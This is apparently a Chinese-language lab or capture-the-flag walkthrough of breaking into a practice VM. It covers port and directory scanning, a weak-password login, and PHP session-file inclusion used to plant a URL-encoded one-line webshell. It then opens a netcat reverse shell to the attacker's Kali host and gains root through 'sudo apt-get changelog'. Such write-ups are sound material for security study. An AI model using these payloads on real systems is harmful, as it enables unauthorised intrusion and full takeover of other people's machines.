一、信息收集
1、查看靶机mac地址:
2、查看靶机的ip地址:
nmap 192.168.13.0/24
3、查看靶机开放的端口,只开放了http服务:
nmap -p- 192.168.13.149
4、访问80端口,是一个登录框:
5、对其进行目录扫描:
dirsearch -u "http://192.168.13.149"
扫描目录没有结果。
6、尝试弱口令admin;admin登录,发现给出提示需要hash加密:
7、将密码admin进行加密:
转换大小写后的值为:8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918
8、使用账号密码进行登录,发现成功登录:
9、经过测试,发现在search搜索框中存在任意文件读取:
10、尝试包含用来存储用户session的文件,从而获取shell:
在Linux下 PHP语言的session的存储路径如下:
/tmp 或 /var/lib/php/sess_[PHPSESSID]
/var/lib/php5/sess_[PHPSESSID]
/var/lib/php/sessions/sess_[PHPSESSID]
抓取一个有session的请求包,拿到session:
11、拼接如下路径search读取:
/var/lib/php/sessions/sess_5geekjjnb8s3cro4mt6nn5d4b3
12、抓包将数据包放到重放模块里进行测试,发现可以修改user_pref变量的值,从而写入到session文件中,再结合文件包含漏洞,造成RCE的漏洞:
13、写入一句话木马但需要url编码:
%3C%3Fphp%20system(%24_POST%5B%22cmd%22%5D)%3B%20%3F%3E
14、向user_pref加入编码后的一句话木马,发现值改变了:
15、尝试输入命令,查看是否写入木马成功:
16、kali开启监听:
nc -lvvp 3333
17、向文件中执行反弹shell语句:
nc+192.168.13.128+3333+-e+/bin/bash
18、查看是否反弹到,反弹成功,用户权限较低:
19、获得一个交互式shell:
python -c 'import pty;pty.spawn("/bin/bash")'
二、提权
1、输入sudo -l查看用户sudo权限:
2、发现用户有一个文件可以,尝试使用提权:
sudo apt-get changelog apt
成功提到root权限